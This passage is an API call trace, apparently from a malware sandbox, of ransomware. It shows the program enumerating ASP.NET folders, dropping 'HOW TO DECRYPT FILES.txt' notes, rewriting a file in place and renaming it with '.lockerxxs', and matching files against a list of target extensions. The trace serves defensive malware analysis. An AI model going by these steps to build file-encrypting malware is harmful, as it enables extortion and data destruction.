returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\DefineErrorPage.aspx" [0137.054] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9ec73840, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x900, dwReserved0=0x450044, dwReserved1=0x520043, cFileName="EditAppSetting.aspx", cAlternateFileName="EDITAP~1.ASP")) returned 1 [0137.054] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0137.054] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\DefineErrorPage.aspx") returned="DefineErrorPage.aspx" [0137.054] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\" [0137.054] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\") returned="" [0137.054] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\HOW TO DECRYPT FILES.txt" [0137.054] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\appconfig\\how to decrypt files.txt")) returned 0x20 [0137.054] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\", lpString2="EditAppSetting.aspx" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\EditAppSetting.aspx") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\EditAppSetting.aspx" [0137.055] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9eed4e40, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x3b5c, dwReserved0=0x450044, dwReserved1=0x520043, cFileName="ManageAppSettings.aspx", cAlternateFileName="MANAGE~1.ASP")) returned 1 [0137.055] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0137.055] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\EditAppSetting.aspx") returned="EditAppSetting.aspx" [0137.055] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\" [0137.055] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\") returned="" [0137.055] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\HOW TO DECRYPT FILES.txt" [0137.055] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\appconfig\\how to decrypt files.txt")) returned 0x20 [0137.055] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\", lpString2="ManageAppSettings.aspx" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\ManageAppSettings.aspx") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\ManageAppSettings.aspx" [0137.055] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f09dec0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x4792, dwReserved0=0x450044, dwReserved1=0x520043, cFileName="SmtpSettings.aspx", cAlternateFileName="SMTPSE~1.ASP")) returned 1 [0137.055] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0137.056] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\ManageAppSettings.aspx") returned="ManageAppSettings.aspx" [0137.056] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\" [0137.056] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\") returned="" [0137.056] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\HOW TO DECRYPT FILES.txt" [0137.056] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\appconfig\\how to decrypt files.txt")) returned 0x20 [0137.056] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\", lpString2="SmtpSettings.aspx" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\SmtpSettings.aspx") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\SmtpSettings.aspx" [0137.056] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f09dec0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x4792, dwReserved0=0x450044, dwReserved1=0x520043, cFileName="SmtpSettings.aspx", cAlternateFileName="SMTPSE~1.ASP")) returned 0 [0137.056] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0137.056] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e9c5f80, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x6b614580, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x6b614580, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="App_Code", cAlternateFileName="")) returned 1 [0137.057] lstrcmpA (lpString1=".", lpString2="App_Code") returned -1 [0137.057] lstrcmpA (lpString1="..", lpString2="App_Code") returned -1 [0137.057] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\*.*") returned="*.*" [0137.057] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\", lpString2="App_Code" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code" [0137.057] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e9c5f80, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x6b614580, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x6b614580, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x450044, dwReserved1=0x520043, cFileName=".", cAlternateFileName="")) returned 0x502658 [0137.060] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0137.060] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e9c5f80, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x6b614580, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x6b614580, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x520000, cFileName="..", cAlternateFileName="")) returned 1 [0137.060] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0137.060] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0137.060] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9e9c5f80, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x2bc, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="ApplicationConfigurationPage.cs", cAlternateFileName="APPLIC~1.CS")) returned 1 [0137.060] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0137.060] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\*.*") returned="*.*" [0137.060] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\" [0137.060] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\") returned="" [0137.060] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\HOW TO DECRYPT FILES.txt" [0137.060] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\app_code\\how to decrypt files.txt")) returned 0xffffffff [0137.060] CreateFileA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\app_code\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0137.062] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0137.062] CloseHandle (hObject=0x94) returned 1 [0137.062] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\", lpString2="ApplicationConfigurationPage.cs" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\ApplicationConfigurationPage.cs") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\ApplicationConfigurationPage.cs" [0137.063] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\ApplicationConfigurationPage.cs" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\ApplicationConfigurationPage.cs") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\ApplicationConfigurationPage.cs" [0137.063] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\ApplicationConfigurationPage.cs" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\ApplicationConfigurationPage.cs") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\ApplicationConfigurationPage.cs" [0137.063] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\ApplicationConfigurationPage.cs", lpString2="." | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\ApplicationConfigurationPage.cs.") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\ApplicationConfigurationPage.cs." [0137.063] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\ApplicationConfigurationPage.cs.", lpString2="lockerxxs" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\ApplicationConfigurationPage.cs.lockerxxs") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\ApplicationConfigurationPage.cs.lockerxxs" [0137.063] CreateFileA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\ApplicationConfigurationPage.cs" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\app_code\\applicationconfigurationpage.cs"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0137.065] GetFileSize (in: hFile=0x94, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x2bc [0137.065] GetFileTime (in: hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x248b4900, dwHighDateTime=0x1cac5de), lpLastAccessTime=0x407536*(dwLowDateTime=0x9e9c5f80, dwHighDateTime=0x1d2e675), lpLastWriteTime=0x40753e*(dwLowDateTime=0x248b4900, dwHighDateTime=0x1cac5de)) returned 1 [0137.065] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0137.065] ReadFile (in: hFile=0x94, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x296, lpOverlapped=0x0) returned 1 [0137.067] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\ApplicationConfigurationPage.cs") returned="ApplicationConfigurationPage.cs" [0137.067] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0137.067] WriteFile (in: hFile=0x94, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x296, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x296, lpOverlapped=0x0) returned 1 [0137.067] SetFileTime (hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0137.067] CloseHandle (hObject=0x94) returned 1 [0137.068] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\ApplicationConfigurationPage.cs" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\app_code\\applicationconfigurationpage.cs"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\ApplicationConfigurationPage.cs.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\app_code\\applicationconfigurationpage.cs.lockerxxs")) returned 1 [0137.069] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9efb9680, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x27b, dwReserved0=0xc90001c8, dwReserved1=0x4e00c4, cFileName="NavigationBar.cs", cAlternateFileName="NAVIGA~1.CS")) returned 1 [0137.069] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0137.069] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="NavigationBar.cs") returned -1 [0137.069] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="NavigationBar.cs") returned -1 [0137.069] lstrcmpiA (lpString1="", lpString2="NavigationBar.cs") returned -1 [0137.069] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\ApplicationConfigurationPage.cs") returned="ApplicationConfigurationPage.cs" [0137.069] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\" [0137.069] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\") returned="" [0137.069] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\HOW TO DECRYPT FILES.txt" [0137.069] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\app_code\\how to decrypt files.txt")) returned 0x20 [0137.069] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\", lpString2="NavigationBar.cs" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\NavigationBar.cs") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\NavigationBar.cs" [0137.069] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\NavigationBar.cs", pszSpec="*.ems") returned 0 [0137.069] lstrlenA (lpString="*.ems") returned 5 [0137.069] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\NavigationBar.cs", pszSpec="*.db") returned 0 [0137.069] lstrlenA (lpString="*.db") returned 4 [0137.069] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\NavigationBar.cs", pszSpec="*.dbf") returned 0 [0137.069] lstrlenA (lpString="*.dbf") returned 5 [0137.069] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\NavigationBar.cs", pszSpec="*.myox") returned 0 [0137.069] lstrlenA (lpString="*.myox") returned 6 [0137.069] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\NavigationBar.cs", pszSpec="*.myo") returned 0 [0137.069] lstrlenA (lpString="*.myo") returned 5 [0137.070] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\NavigationBar.cs", pszSpec="*.qbw") returned 0 [0137.070] lstrlenA (lpString="*.qbw") returned 5 [0137.070] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\NavigationBar.cs", pszSpec="*.qbb") returned 0 [0137.070] lstrlenA (lpString="*.qbb") returned 5 [0137.070] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\NavigationBar.cs", pszSpec="*.qbm") returned 0 [0137.070] lstrlenA (lpString="*.qbm") returned 5 [0137.070] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\NavigationBar.cs", pszSpec="*.qbo") returned 0 [0137.070] lstrlenA (lpString="*.qbo") returned 5 [0137.070] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\NavigationBar.cs", pszSpec="*.qbx") returned 0 [0137.070] lstrlenA (lpString="*.qbx") returned 5 [0137.070] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\NavigationBar.cs", pszSpec="*.qba") returned 0 [0137.070] lstrlenA (lpString="*.qba") returned 5 [0137.070] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\NavigationBar.cs", pszSpec="*.qby") returned 0 [0137.070] lstrlenA (lpString="*.qby") returned 5 [0137.070] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\NavigationBar.cs", pszSpec="*.qbj") returned 0 [0137.070] lstrlenA (lpString="*.qbj") returned 5 [0137.070] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\NavigationBar.cs", pszSpec="*.ofx") returned 0 [0137.070] lstrlenA (lpString="*.ofx") returned 5 [0137.070] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\NavigationBar.cs", pszSpec="*.qif") returned 0 [0137.070] lstrlenA (lpString="*.qif") returned 5 [0137.070] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\NavigationBar.cs", pszSpec="*.mye") returned 0 [0137.070] lstrlenA (lpString="*.mye") returned 5 [0137.070] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\NavigationBar.cs", pszSpec="*.mbox") returned 0 [0137.070] lstrlenA (lpString="*.mbox") returned 6 [0137.070] PathMatchSpecA 